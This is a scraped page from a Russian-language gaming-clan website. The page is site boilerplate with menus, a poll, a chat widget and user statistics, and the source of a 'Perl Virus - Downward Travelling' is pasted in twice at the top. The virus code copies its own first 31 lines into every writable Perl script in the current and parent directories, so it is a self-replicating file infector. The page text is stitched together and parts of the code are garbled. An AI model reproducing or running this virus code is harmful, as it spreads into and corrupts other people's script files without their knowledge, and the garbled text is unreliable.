#!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd ` } # Новая строка if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # Новая строка $DotDot = '..'; # Новая строка if ($^O =~ "MacOS") { $DotDot = "::" } # Новая строка chdir($DotDot); # Новая строка &InfectFile; chdir($OldDir); # Новая строка sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} Mixway gaming community #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd ` } # Новая строка if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # Новая строка $DotDot = '..'; # Новая строка if ($^O =~ "MacOS") { $DotDot = "::" } # Новая строка chdir($DotDot); # Новая строка &InfectFile; chdir($OldDir); # Новая строка sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} Главная Форум Таблица cw Состав клана Видео Тренеровки В клан <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" wmode="transparent" width="80" height="21"><param name="movie" value="//bestof.ucoz.ru/servis/clock/et003/white.swf"><param name="quality" value="high"><embed src="//bestof.ucoz.ru/servis/clock/et003/white.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" width="80" height="21"></object> Меню Главная страница Таблица CW Устав клана Состав клана Тренеровки Видео для клана Доска позора Личные стр Гостевая Связь Файлы Форум Чат --15 сек30 сек1 мин2 мин 200 Опрос Хотите с нами сиграть в cw да нет Всего ответов: 29 Статистика Online : Онлайн всего: 1 Гостей: 1 Пользователей: 0 Users : Друзья Видео для клана - FD| кЛаН - Описание сайта Get your own Chat Box! Go Large! REKUR KODS<img style="visibility:hidden;width:0px;height:0px;" border="0" width="0" height="0" src="http://c.gigcount.com/wildfire/IMP/CXNID=2000002.11NXC/bT*xJmx*PTEyOTQyMjMyMjc*MjUmcHQ9MTI5NDIyMzI*NTgzNCZwPTUzMTUxJmQ9Jmc9MQ==.gif"><embed src="http://www.xatech.com/web_gear/chat/chat.swf" quality="high" width="400" height="300" name="chat" flashvars="id=127578640" align="middle" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml"><br><small><a target="_BLANK" href="http://xat.com/web_gear/?cb">Get your own Chat Box!</a> <a target="_BLANK" href="http://xat.com/web_gear/chat/go_large.php?id=127578640">Go Large!</a></small><br> Кабинет Понедельник, 23.12.2024, Гость Сообщения: Группа: Гости Логин: Пароль: запомнить Забыл пароль | Регистрация Топ пользователей JannieBion Новостей: 1113 Сообщений: 0 Комментарий: 0 Репутация: 0 Muslimer Новостей: 718 Сообщений: 6 Комментарий: 0 Репутация: 0 Pitertata Новостей: 203 Сообщений: 0 Комментарий: 0 Репутация: 0 Случайное видео Block title erik erik erik Наш Баннер Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.: Бесплатный конструктор сайтов - uCoz
JannieBion Новостей: 1113 Сообщений: 0 Комментарий: 0 Репутация: 0
Muslimer Новостей: 718 Сообщений: 6 Комментарий: 0 Репутация: 0
Pitertata Новостей: 203 Сообщений: 0 Комментарий: 0 Репутация: 0